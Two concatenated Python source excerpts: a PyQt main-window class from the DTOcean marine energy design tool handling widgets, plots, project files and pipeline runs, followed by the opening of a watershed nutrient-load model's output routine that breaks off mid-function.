Actions self.actionAdd_Modules.setDisabled(True) self.actionAdd_Assessment.setDisabled(True) self.actionInitiate_Dataflow.setDisabled(True) self.actionInitiate_Bathymetry.setDisabled(True) return @QtCore.pyqtSlot(str) def _current_scope_ui_switch(self, scope): sane_scope = str(scope) if sane_scope == "global": self._pipeline_dock.globalRadioButton.setChecked(True) elif sane_scope == "local": self._pipeline_dock.localRadioButton.setChecked(True) else: errStr = ("Valid scopes are 'local' or 'global'. Passed scope " "was {}").format(sane_scope) raise ValueError(errStr) @QtCore.pyqtSlot() def _run_action_ui_switch(self): modules_scheduled = self._shell.get_scheduled_modules() modules_completed = self._shell.get_completed_modules() themes_scheduled = self._shell.get_scheduled_themes() # Set the run action buttons if (self._shell.strategy is None or (self._shell.strategy is not None and not self._shell.strategy.strategy_run)): self.actionRun_Strategy.setDisabled(True) if modules_scheduled: self.actionRun_Current.setEnabled(True) else: self.actionRun_Current.setDisabled(True) if themes_scheduled: self.actionRun_Themes.setEnabled(True) else: self.actionRun_Themes.setDisabled(True) else: self.actionRun_Current.setDisabled(True) self.actionRun_Themes.setDisabled(True) if modules_scheduled: self.actionRun_Strategy.setEnabled(True) else: self.actionRun_Strategy.setDisabled(True) # Set the pipeline title if not modules_completed and modules_scheduled: pipeline_msg = "Define simulation inputs..." elif modules_completed and modules_scheduled: pipeline_msg = "Simulation in progress..." elif modules_completed and not modules_scheduled: pipeline_msg = "Simulation complete..." elif (not modules_completed and not modules_scheduled and themes_scheduled): pipeline_msg = "Assessment only mode..." elif (not modules_completed and not modules_scheduled and not themes_scheduled): pipeline_msg = "No modules or assessments selected..." else: errStr = "Whoa, take 'er easy there, Pilgrim" raise SystemError(errStr) self._pipeline_dock._set_title(pipeline_msg) return @QtCore.pyqtSlot(int) def _sim_comparison_ui_switch(self, box_number): if box_number == -1: self._sim_comparison.setDisabled(True) else: self._sim_comparison.setEnabled(True) return @QtCore.pyqtSlot(object) def _tool_menu_ui_switch(self, shell): for tool_name, action in self._dynamic_actions.iteritems(): tool = self._tool_manager.get_tool(tool_name) if self._tool_manager.can_execute_tool(shell.core, shell.project, tool): action.setEnabled(True) else: action.setDisabled(True) return @QtCore.pyqtSlot() def _set_module_shuttle(self): self._module_shuttle._add_items_from_lists( self._shell.get_available_modules(), self._shell.get_active_modules()) self._module_shuttle.show() return @QtCore.pyqtSlot() def _set_assessment_shuttle(self): self._assessment_shuttle._add_items_from_lists( self._shell.get_available_themes(), self._shell.get_active_themes()) self._assessment_shuttle.show() return @QtCore.pyqtSlot() def _set_strategy(self): self._strategy_manager.show(self._shell) return @QtCore.pyqtSlot(object, int) def _set_details_widget(self, proxy_index): controller = self._pipeline_dock._find_controller(proxy_index) if isinstance(controller, (InputVarControl, OutputVarControl)): # Collect the meta data from the variable meta = controller._variable.get_metadata(self._shell.core) title = meta.title description = meta.description else: title = None description = None self._data_details._set_details(title, description) self._plot_details._set_details(title, description) return @QtCore.pyqtSlot(object, bool) def _set_context_widget(self, proxy_index_or_controller, reset=False): controller = None # reset all the stored controllers and update given controller if reset: self._last_tree_controller = None self._last_data_controller = None self._last_data_controller_status = None self._force_plot = True if proxy_index_or_controller is not None: model_index = \ proxy_index_or_controller._get_index_from_address() proxy_index_or_controller = \ proxy_index_or_controller._proxy.mapFromSource(model_index) # Return a controller class if proxy_index_or_controller is not None: # If this is a proxy index then get the controller if isinstance(proxy_index_or_controller, QtCore.QModelIndex): proxy_index = proxy_index_or_controller controller = self._pipeline_dock._find_controller(proxy_index) else: controller = proxy_index_or_controller # If given a hidden variable then reset to the pipeline root if controller is not None and controller._is_hidden(): controller = self._pipeline_dock._controls[0] current_context_action = self.contextGroup.checkedAction() if current_context_action is None: pass elif str(current_context_action.text()) == "Data": self._set_data_widget(controller) self._set_file_manager_widget(controller) elif str(current_context_action.text()) == "Plots": self._set_plot_widget(controller, force_plot=self._force_plot) self._set_plot_manager_widget(controller) self._force_plot = False self._last_tree_controller = controller return def _set_file_manager_widget(self, controller): # Avoid being in a race where the data file manager is None if self._data_file_manager is None: return current_context_action = self.contextGroup.checkedAction() if (current_context_action is None or str(current_context_action.text()) == "Plots"): return variable = None load_ext_dict = {} if isinstance(controller, InputVarControl): variable = controller._variable interface_dict = controller._variable.get_file_input_interfaces( self._shell.core, include_auto=True) if interface_dict: for interface_name, ext_list in interface_dict.iteritems(): repeated_exts = set(ext_list).intersection( load_ext_dict.keys()) if repeated_exts: extsStr = ", ".join(repeated_exts) errStr = ("Repeated interface extensions '{}'" "found").format(extsStr) raise RuntimeError(errStr) interface_exts = {ext: interface_name for ext in ext_list} load_ext_dict.update(interface_exts) save_ext_dict = {} if isinstance(controller, (InputVarControl, OutputVarControl)): variable = controller._variable interface_dict = controller._variable.get_file_output_interfaces( self._shell.core, self._shell.project, include_auto=True) if interface_dict: for interface_name, ext_list in interface_dict.iteritems(): repeated_exts = set(ext_list).intersection( save_ext_dict.keys()) if repeated_exts: extsStr = ", ".join(repeated_exts) errStr = ("Repeated interface extensions '{}'" "found").format(extsStr) raise RuntimeError(errStr) interface_exts = {ext: interface_name for ext in ext_list} save_ext_dict.update(interface_exts) if not load_ext_dict: load_ext_dict = None if not save_ext_dict: save_ext_dict = None if self._data_file_manager._load_connected: self._data_file_manager.load_file.disconnect() self._data_file_manager._load_connected = False if self._data_file_manager._save_connected: self._data_file_manager.save_file.disconnect() self._data_file_manager._save_connected = False self._data_file_manager._set_files(variable, load_ext_dict, save_ext_dict) if self._data_file_manager._file_mode is None: return if isinstance(controller, InputVarControl): self._data_file_manager.load_file.connect(self._shell.read_file) self._data_file_manager._load_connected = True if isinstance(controller, (InputVarControl, OutputVarControl)): self._data_file_manager.save_file.connect(self._shell.write_file) self._data_file_manager._save_connected = True return def _set_plot_manager_widget(self, controller): # Avoid race condition if self._plot_manager is None: return current_context_action = self.contextGroup.checkedAction() if (current_context_action is None or str(current_context_action.text()) == "Data"): return plot_list = [] plot_auto = False if isinstance(controller, (InputVarControl, OutputVarControl)): plot_list = controller._variable.get_available_plots( self._shell.core, self._shell.project) all_interfaces = controller._variable._get_receivers( self._shell.core, self._shell.project, "PlotInterface", "AutoPlot") if set(all_interfaces) - set(plot_list): plot_auto = True if self._plot_manager._plot_connected: self._plot_manager.plot.disconnect() self._plot_manager.save.disconnect() self._plot_manager._plot_connected = False if not plot_list: plot_list = None self._plot_manager._set_plots(controller, plot_list, plot_auto) if plot_list is None and not plot_auto: return if isinstance(controller, (InputVarControl, OutputVarControl)): self._plot_manager.plot.connect(self._set_plot_widget) self._plot_manager.save.connect(self._save_plot) self._plot_manager._plot_connected = True return def _set_data_widget(self, controller): if controller is None: return if (self._last_data_controller is not None and controller._id == self._last_data_controller._id and type(controller) == type(self._last_data_controller)): if (controller._status is not None and controller._status != self._last_data_controller_status and "unavailable" in controller._status): self._data_context._bottom_contents.setDisabled(True) self._last_data_controller_status = controller._status return if self._data_context._bottom_contents is not None: self._clear_bottom_contents(self._data_context) self._last_data_controller = controller widget = controller._get_data_widget(self._shell) if widget is None: return # Add the widget to the context self._data_context._bottom_box.addWidget(widget) self._data_context._bottom_contents = widget # Connect the widgets read and nullify events widget._get_read_event().connect( lambda: self._read_raw(controller._variable, widget._get_result())) widget._get_nullify_event().connect( lambda: self._read_raw(controller._variable, None)) if "unavailable" in controller._status: if "_disable" in dir(widget): widget._disable() else: widget.setDisabled(True) return @QtCore.pyqtSlot(object, str) def _set_plot_widget(self, controller, plot_name=None, force_plot=False): if controller is None: return if (controller._id == self._last_plot_id and plot_name == self._last_plot_name and not force_plot): return if (controller._id == self._last_plot_id and plot_name is None): plot_name = self._last_plot_name if plot_name == "auto": plot_name = None if self._plot_context._bottom_contents is not None: self._clear_bottom_contents(self._plot_context) self._last_plot_id = controller._id self._last_plot_name = plot_name widget = controller._get_plot_widget(self._shell, plot_name) if widget is None: return # Add the widget to the context self._plot_context._bottom_box.addWidget(widget) self._plot_context._bottom_contents = widget # Draw the widget widget.draw_idle() if len(plt.get_fignums()) > 2: num_strs = ["{}".format(x) for x in plt.get_fignums()] num_str = ", ".join(num_strs) err_msg = ("Too many matplotlib figures detected. " "Numbers: {}").format(num_str) raise RuntimeError(err_msg) if "unavailable" in controller._status: widget.setDisabled(True) return @QtCore.pyqtSlot(object, str, object, object) def _save_plot(self, controller, file_path, size, plot_name="auto"): if controller is None: return if plot_name == "auto": plot_name = None controller._save_plot(self._shell, file_path, size, plot_name) if len(plt.get_fignums()) > 2: num_strs = ["{}".format(x) for x in plt.get_fignums()] num_str = ", ".join(num_strs) err_msg = ("Too many matplotlib figures detected. " "Numbers: {}").format(num_str) raise RuntimeError(err_msg) return @QtCore.pyqtSlot(str, bool) def _set_level_plot(self, var_id, ignore_strategy): # Sanitise var_id var_id = str(var_id) # Collect the current scope if self._pipeline_dock.globalRadioButton.isChecked(): scope = "global" elif self._pipeline_dock.localRadioButton.isChecked(): scope = "local" else: errStr = "Feck!" raise SystemError(errStr) if self._comp_context._bottom_contents is not None: self._clear_bottom_contents(self._comp_context) # Switch off save button self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) # Collect the sim titles from the sim dock sim_titles = self._simulation_dock._get_list_values() # Get the plot figure widget = self._strategy_manager.get_level_values_plot( self._shell, var_id, scope, ignore_strategy, sim_titles) # Add the widget to the context self._comp_context._bottom_box.addWidget(widget) self._comp_context._bottom_contents = widget # Draw the widget widget.draw_idle() if len(plt.get_fignums()) > 2: num_strs = ["{}".format(x) for x in plt.get_fignums()] num_str = ", ".join(num_strs) err_msg = ("Too many matplotlib figures detected. " "Numbers: {}").format(num_str) raise RuntimeError(err_msg) # Switch on save button self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setEnabled(True) return @QtCore.pyqtSlot(str, bool) def _set_level_table(self, var_id, ignore_strategy): # Sanitise var_id var_id = str(var_id) # Collect the current scope if self._pipeline_dock.globalRadioButton.isChecked(): scope = "global" elif self._pipeline_dock.localRadioButton.isChecked(): scope = "local" else: errStr = "Feck!" raise SystemError(errStr) if self._comp_context._bottom_contents is not None: self._clear_bottom_contents(self._comp_context) # Switch off save button self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) # Get the table widget widget = self._strategy_manager.get_level_values_df(self._shell, var_id, scope, ignore_strategy) # Add the widget to the context self._comp_context._bottom_box.addWidget(widget) self._comp_context._bottom_contents = widget # Switch on save button self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setEnabled(True) return @QtCore.pyqtSlot(str, str, bool) def _set_sim_plot(self, var_one_id, module, ignore_strategy): # Sanitise strings var_one_id = str(var_one_id) module = str(module) # Get the first variable id from the level comparison widget var_two_name = str(self._level_comparison.varBox.currentText()) var_two_id = self._level_comparison._get_var_id(var_two_name) # Collect the current scope if self._pipeline_dock.globalRadioButton.isChecked(): scope = "global" elif self._pipeline_dock.localRadioButton.isChecked(): scope = "local" else: errStr = "Feck!" raise SystemError(errStr) if self._comp_context._bottom_contents is not None: self._clear_bottom_contents(self._comp_context) # Switch off save button self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) # Get the plot figure widget = self._strategy_manager.get_comparison_values_plot( self._shell, var_one_id, var_two_id, module, scope, ignore_strategy) # Add the widget to the context self._comp_context._bottom_box.addWidget(widget) self._comp_context._bottom_contents = widget # Draw the widget widget.draw_idle() if len(plt.get_fignums()) > 2: num_strs = ["{}".format(x) for x in plt.get_fignums()] num_str = ", ".join(num_strs) err_msg = ("Too many matplotlib figures detected. " "Numbers: {}").format(num_str) raise RuntimeError(err_msg) # Switch save buttons self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setEnabled(True) return @QtCore.pyqtSlot(str, str, bool) def _set_sim_table(self, var_one_id, module, ignore_strategy): # Sanitise strings var_one_id = str(var_one_id) module = str(module) # Get the first variable id from the level comparison widget var_two_name = str(self._level_comparison.varBox.currentText()) var_two_id = self._level_comparison._get_var_id(var_two_name) # Collect the current scope if self._pipeline_dock.globalRadioButton.isChecked(): scope = "global" elif self._pipeline_dock.localRadioButton.isChecked(): scope = "local" else: errStr = "Feck!" raise SystemError(errStr) if self._comp_context._bottom_contents is not None: self._clear_bottom_contents(self._comp_context) # Switch off save button self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) # Get the table widget widget = self._strategy_manager.get_comparison_values_df( self._shell, var_one_id, var_two_id, module, scope, ignore_strategy) # Add the widget to the context self._comp_context._bottom_box.addWidget(widget) self._comp_context._bottom_contents = widget # Switch on save button self._sim_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setEnabled(True) self._level_comparison.buttonBox.button( QtGui.QDialogButtonBox.Save).setDisabled(True) return @QtCore.pyqtSlot() def _save_comparison_plot(self): extlist = ["{} (*.{})".format(v, k) for k, v in get_current_filetypes().iteritems()] extStr = ";;".join(extlist) fdialog_msg = "Save plot" save_path = QtGui.QFileDialog.getSaveFileName(None, fdialog_msg, '.', extStr) if save_path: save_current_figure(str(save_path)) return @QtCore.pyqtSlot() def _save_comparison_data(self): extlist = ["comma-separated values (*.csv)"] extStr = ";;".join(extlist) fdialog_msg = "Save data" save_path = QtGui.QFileDialog.getSaveFileName(None, fdialog_msg, '.', extStr) if save_path: df = self._strategy_manager._last_df df.to_csv(str(save_path), index=False) return @QtCore.pyqtSlot(object) def _read_raw(self, variable, value): self._shell.read_raw(variable, value) self._shell._active_thread.error_detected.connect(self._display_error) return @QtCore.pyqtSlot() def _new_project(self): self._shell.new_project() return @QtCore.pyqtSlot() def _open_project(self): msg = "Open Project" valid_exts = "DTOcean Files (*.dto *.prj)" file_path = QtGui.QFileDialog.getOpenFileName(None, msg, '.', valid_exts) if not file_path: return if self._shell.project is not None: self._shell.close_project() self._waitcursor_open(file_path) return @QtCore.pyqtSlot() def _open_project_finalize(self): self._active_project_ui_switch() self._active_pipeline_ui_switch() # Recreate the existing branch map new_branch_map = [{"hub": SectionControl, "name": "Configuration"}, {"hub": HubControl, "name": "Scenario", "args": ["project", InputBranchControl, True, ["System Type Selection", "Database Filtering Interface", "Project Boundaries Interface"]]}, {"hub": HubControl, "name": "Modules", "args": ["modules", InputBranchControl, True]}, {"hub": HubControl, "name": "Assessment", "args": ["themes", InputBranchControl, True]}, {"hub": SectionControl, "name": "Results"}, {"hub": HubControl, "name": "Assessment", "args": ["themes", OutputBranchControl, True]}, {"hub": HubControl, "name": "Modules", "args": ["modules", OutputBranchControl, True]} ] self._pipeline_dock._set_branch_map(new_branch_map) self._active_dataflow_ui_switch() # Update the active project active_sim_title = self._shell.project.get_simulation_title() self._shell.project.active_title_changed.emit(active_sim_title) self._shell.core.status_updated.emit() self._set_project_saved() return @QtCore.pyqtSlot() def _save_project(self): result = True if self._shell.project_path is None: result = self._saveas_project() else: self._waitcursor_save() return result @QtCore.pyqtSlot() def _saveas_project(self): msg = "Save Project" valid_exts = ("DTOcean Application File (*.dto);;" "DTOcean Project File (*.prj)") file_path = QtGui.QFileDialog.getSaveFileName(None, msg, '.', valid_exts) result = False if file_path: self._waitcursor_save(file_path) result = True return result @QtCore.pyqtSlot() def _close_project(self): reply = self._project_close_warning() if (reply == QtGui.QMessageBox.Save or reply == QtGui.QMessageBox.Discard): self._shell.close_project() return @QtCore.pyqtSlot(str, str, dict) def _dump_database(self, root_path, selected, credentials): self._shell.dump_database(root_path, selected, credentials) self._shell._active_thread.error_detected.connect(self._display_error) return @QtCore.pyqtSlot(str, str, dict) def _load_database(self, root_path, selected, credentials): self._shell.load_database(root_path, selected, credentials) self._shell._active_thread.error_detected.connect(self._display_error) return @QtCore.pyqtSlot() def _export_data(self): msg = "Export Data" valid_exts = "Datastate Files (*.dts)" file_path = QtGui.QFileDialog.getSaveFileName(None, msg, '.', valid_exts) if file_path: self._shell.export_data(file_path) return @QtCore.pyqtSlot() def _export_data_mask(self): msg = "Export Data (Mask Outputs)" valid_exts = "Datastate Files (*.dts)" file_path = QtGui.QFileDialog.getSaveFileName(None, msg, '.', valid_exts) if file_path: self._shell.export_data(file_path, True) return @QtCore.pyqtSlot() def _import_data(self): msg = "Import Data" valid_exts = "Datastate Files (*.dts)" file_path = QtGui.QFileDialog.getOpenFileName(None, msg, '.', valid_exts) if file_path: self._shell.import_data(file_path) return @QtCore.pyqtSlot() def _import_data_skip(self): msg = "Import Data (Skip Satisfied)" valid_exts = "Datastate Files (*.dts)" file_path = QtGui.QFileDialog.getOpenFileName(None, msg, '.', valid_exts) if file_path: self._shell.import_data(file_path, True) return @QtCore.pyqtSlot() def _initiate_pipeline(self): # Find the "System Type Selection" branch branch_control = self._pipeline_dock._find_controller( controller_title="System Type Selection", controller_class=InputBranchControl) # Check for required values required_address = branch_control._get_required_address(self._shell) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._shell.initiate_pipeline) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot() def _initiate_bathymetry(self): if self._shell.project_menu.is_executable(self._shell.core, self._shell.project, "Site Boundary Selection"): required_address = None else: raw_required = {"Section": ["Scenario"], "Branch": ["Database Filtering Interface"], "Item": ["Selected Site"]} required_address = pd.DataFrame(raw_required) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._shell.initiate_bathymetry) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot() def _initiate_dataflow(self): required_address = None # Check if filters can be initiated if ("Database Filtering Interface" in self._shell.project_menu.get_active(self._shell.core, self._shell.project)): # Find the "Database Filtering Interface" branch branch_control = self._pipeline_dock._find_controller( controller_title="Database Filtering Interface", controller_class=InputBranchControl) # Check for required values required_address = branch_control._get_required_address( self._shell) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._progress_dataflow) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot() def _execute_current(self): # Close the strategy manager self._strategy_manager.close() # Get the current module name current_mod = self._shell.get_current_module() # Find the module branch branch_control = self._pipeline_dock._find_controller( controller_title=current_mod, controller_class=InputBranchControl) # Check for required values required_address = branch_control._get_required_address(self._shell) # Find any required values for any themes: all_themes = self._shell.get_active_themes() for theme_name in all_themes: branch_control = self._pipeline_dock._find_controller( controller_title=theme_name, controller_class=InputBranchControl) # Check for required values theme_address = branch_control._get_required_address(self._shell) # Loop if None if theme_address is None: continue # Otherwise merge if required_address is None: required_address = theme_address else: required_address = pd.concat([required_address, theme_address], ignore_index=True) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._progress_current) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot() def _execute_themes(self): # Close the strategy manager self._strategy_manager.close() # Check for required values required_address = None # Find any required values for any themes: all_themes = self._shell.get_active_themes() for theme_name in all_themes: branch_control = self._pipeline_dock._find_controller( controller_title=theme_name, controller_class=InputBranchControl) # Check for required values theme_address = branch_control._get_required_address(self._shell) # Loop if None if theme_address is None: continue # Otherwise merge if required_address is None: required_address = theme_address else: required_address = pd.concat([required_address, theme_address], ignore_index=True) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._progress_themes) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot() def _execute_strategy(self): # Close the strategy manager self._strategy_manager.close() # Get the current module name scheduled_mods = self._shell.get_scheduled_modules() required_address = None for scheduled_mod in scheduled_mods: # Find the module branch branch_control = self._pipeline_dock._find_controller( controller_title=scheduled_mod, controller_class=InputBranchControl) # Check for required values mod_address = branch_control._get_required_address(self._shell) # Loop if None if mod_address is None: continue # Otherwise merge if required_address is None: required_address = mod_address else: required_address = pd.concat([required_address, mod_address], ignore_index=True) # Find any required values for any themes: all_themes = self._shell.get_active_themes() for theme_name in all_themes: branch_control = self._pipeline_dock._find_controller( controller_title=theme_name, controller_class=InputBranchControl) # Check for required values theme_address = branch_control._get_required_address(self._shell) # Loop if None if theme_address is None: continue # Otherwise merge if required_address is None: required_address = theme_address else: required_address = pd.concat([required_address, theme_address], ignore_index=True) # Remap OK button self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.disconnect() self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._progress_strategy) self._data_check.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._data_check.accept) self._data_check.show(required_address) return @QtCore.pyqtSlot(str) def _waitcursor_open(self, file_path): self.setEnabled(False) QtGui.QApplication.setOverrideCursor( QtGui.QCursor(QtCore.Qt.WaitCursor)) self._shell.open_project(file_path) self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect( self._open_project_finalize) self._shell._active_thread.finished.connect(self._reset_cursor) return @QtCore.pyqtSlot(str) def _waitcursor_save(self, file_path=None): self.setEnabled(False) QtGui.QApplication.setOverrideCursor( QtGui.QCursor(QtCore.Qt.WaitCursor)) self._shell.save_project(file_path) self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._reset_cursor) return @QtCore.pyqtSlot() def _progress_dataflow(self): # Recreate the existing branch map new_branch_map = [{"hub": SectionControl, "name": "Configuration"}, {"hub": HubControl, "name": "Scenario", "args": ["project", InputBranchControl, True, ["System Type Selection", "Database Filtering Interface", "Project Boundaries Interface"]]}, {"hub": HubControl, "name": "Modules", "args": ["modules", InputBranchControl, True]}, {"hub": HubControl, "name": "Assessment", "args": ["themes", InputBranchControl, True]}, {"hub": SectionControl, "name": "Results"}, {"hub": HubControl, "name": "Assessment", "args": ["themes", OutputBranchControl, True]}, {"hub": HubControl, "name": "Modules", "args": ["modules", OutputBranchControl, True]} ] self._pipeline_dock._set_branch_map(new_branch_map) self._progress.allow_close = False self._progress.set_pulsing() self._shell.initiate_dataflow(self._pipeline_dock) self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._close_progress) self._progress.show() return @QtCore.pyqtSlot() def _progress_current(self): self._progress.allow_close = False self._progress.set_pulsing() self._shell.execute_current() self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._close_progress) self._progress.show() return @QtCore.pyqtSlot() def _progress_themes(self): self._progress.allow_close = False self._progress.set_pulsing() self._shell.execute_themes() self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._close_progress) self._progress.show() return @QtCore.pyqtSlot() def _progress_strategy(self): self._last_stack_index = self.stackedWidget.currentIndex() self.stackedWidget.setCurrentIndex(0) self._progress.allow_close = False self._progress.set_pulsing() self._shell.execute_strategy() self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._close_progress) self._progress.show() return @QtCore.pyqtSlot(str) def _waitcursor_scope(self, scope): self.setEnabled(False) QtGui.QApplication.setOverrideCursor( QtGui.QCursor(QtCore.Qt.WaitCursor)) self._shell.set_output_scope(scope) self._shell._active_thread.error_detected.connect(self._display_error) self._shell._active_thread.finished.connect(self._reset_cursor) return @QtCore.pyqtSlot(str) def _open_tool(self, tool_name): if self._thread_tool is not None: return # Pick up the tool tool = self._tool_manager.get_tool(tool_name) self._thread_tool = ThreadTool(self._shell.core, self._shell.project, tool) self._thread_tool.start() self._thread_tool.error_detected.connect(self._display_error) self._thread_tool.finished.connect(lambda: self._close_tool(tool)) return @QtCore.pyqtSlot() def _reset_cursor(self): QtGui.QApplication.restoreOverrideCursor() self.setEnabled(True) return @QtCore.pyqtSlot(object) def _close_tool(self, tool): if tool.has_widget(): widget = tool.get_widget() if widget is not None: widget.show() self._thread_tool = None return @QtCore.pyqtSlot() def _close_progress(self): self._progress.allow_close = True self._progress.close() return @QtCore.pyqtSlot(object, object, object) def _display_error(self, etype, evalue, etraceback): type_str = str(etype) type_strs = type_str.split(".") sane_type_str = type_strs[-1].replace("'>", "") if sane_type_str[0].lower() in "aeiou": article = "An" else: article = "A" errMsg = "{} {} occurred: {:s}".format(article, sane_type_str, evalue) module_logger.critical(errMsg) module_logger.critical(''.join(traceback.format_tb(etraceback))) QtGui.QMessageBox.critical(self, "ERROR", errMsg) return def _project_close_warning(self): if (self._shell.project is None or not self.actionSave.isEnabled() or not self._shell.project_unsaved): return QtGui.QMessageBox.Discard qstr = "Do you want to save your changes?" reply = QtGui.QMessageBox.warning(self, 'Project modified', qstr, QtGui.QMessageBox.Save, QtGui.QMessageBox.Discard, QtGui.QMessageBox.Cancel) if reply == QtGui.QMessageBox.Save: if not self._save_project(): reply = QtGui.QMessageBox.Cancel return reply def closeEvent(self, event): # Check for active thread if (self._shell._active_thread is not None or self._thread_tool is not None): qstr = ("Quitting now may cause DATA CORRUPTION or\n" "LOSS OF RESULTS! Are you sure?") reply = QtGui.QMessageBox.critical( self, 'Active thread detected', qstr, QtGui.QMessageBox.Yes, QtGui.QMessageBox.No | QtGui.QMessageBox.Default) if reply == QtGui.QMessageBox.Yes: sys.excepthook = sys.__excepthook__ event.accept() elif reply == QtGui.QMessageBox.No: event.ignore() return else: err_msg = "Sooner or later, everyone comes to Babylon 5" raise ValueError(err_msg) # Check for open project reply = self._project_close_warning() if reply == QtGui.QMessageBox.Cancel: event.ignore() else: event.accept() return @staticmethod def _clear_bottom_contents(context): context._bottom_box.removeWidget(context._bottom_contents) context._bottom_contents.setParent(None) if isinstance(context._bottom_contents, MPLWidget): fignum = context._bottom_contents.figure.number log_msg = "Closing figure {}".format(fignum) module_logger.debug(log_msg) sip.delete(context._bottom_contents) plt.close(fignum) else: sip.delete(context._bottom_contents) context._bottom_contents = None return
codeparrot/github-code-clean
# -*- coding: utf-8 -*- from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging # from numpy import round from numpy import zeros from . import LoadReductions from .Input.Animals.TotAEU import TotAEU_f from .Input.Animals.TotLAEU import TotLAEU from .Input.Animals.TotPAEU import TotPAEU_f from .Input.LandUse.Ag.AvTileDrain import AvTileDrain_f from .Input.LandUse.AreaTotal import AreaTotal_f from .Input.WaterBudget.AvEvapoTrans import AvEvapoTrans_f from .Input.WaterBudget.AvGroundWater import AvGroundWater_f from .Input.WaterBudget.AvWithdrawal import AvWithdrawal_f from .MultiUse_Fxns.AttenN import AttenN from .MultiUse_Fxns.Constants import NPConvert from .MultiUse_Fxns.Erosion.AvErosion import AvErosion_f from .MultiUse_Fxns.Erosion.AvSedYield import AvSedYield from .MultiUse_Fxns.Erosion.AvSedYield import AvSedYield_f from .MultiUse_Fxns.Erosion.AvStreamBankNSum import AvStreamBankNSum_f from .MultiUse_Fxns.Erosion.SedDelivRatio import SedDelivRatio from .MultiUse_Fxns.Runoff.AvRunoff import AvRunoff_f from .MultiUse_Fxns.Runoff.RetentFactorN import RetentFactorN from .Output.AvAnimalNSum.AvAnimalNSum_1 import AvAnimalNSum_1_f from .Output.AvAnimalNSum.N7b_1 import N7b_1_f from .Output.Loading.LuTotNitr_1 import LuTotNitr_1_f from .Output.Loading.LuTotPhos import LuTotPhos_f from .Output.Loading.StreamBankNSum import StreamBankNSum_f from .enums import YesOrNo, LandUse log = logging.getLogger(__name__) CM_TO_M = 1 / 100 HA_TO_M2 = 10000 KG_TO_MG = 1000000 M3_TO_L = 1000 TONNE_TO_KG = 1000 def WriteOutput(z): # DIMENSION VARIABLES FOR PREDICT CALCULATION AND SCENARIO FILE AvOtherLuSed = 0 AvOtherLuNitr = 0 AvOtherLuPhos = 0 TotSewerSys = 0 TotNormSys = 0 TotShortSys = 0 TotSeptSys = 0 TotAvLuErosion = 0 AvTotalSed = 0 AvDisN = 0 AvTotalN = 0 AvDisP = 0 AvTotalP = 0 n2t = 0 n6t = 0 n13t = 0 n24t = 0 AreaSum = zeros(12) # INSERT VALUES FOR BMP SCENARIO FILE FOR PREDICT APPLICATION for l in range(z.NLU): z.AvLuSedYield[l] = (z.AvLuSedYield[l] * z.RetentFactorSed) * (1 - z.AttenTSS) z.AvLuDisNitr[l] = (z.AvLuDisNitr[l] * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake)) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) z.AvLuTotNitr[l] = (z.AvLuTotNitr[l] * RetentFactorN(z.ShedAreaDrainLake, z.RetentNLake)) * ( 1 - AttenN(z.AttenFlowDist, z.AttenFlowVel, z.AttenLossRateN)) z.AvLuDisPhos[l] = (z.AvLuDisPhos[l] * z.RetentFactorP) * (1 - z.AttenP) z.AvLuTotPhos[l] = (z.AvLuTotPhos[l] * z.RetentFactorP) * (1 - z.AttenP) # SET THE SCENARIO VALUES TO LANDUSE LOADS for l in range(z.NRur): if z.Landuse[l] is LandUse.HAY_PAST: 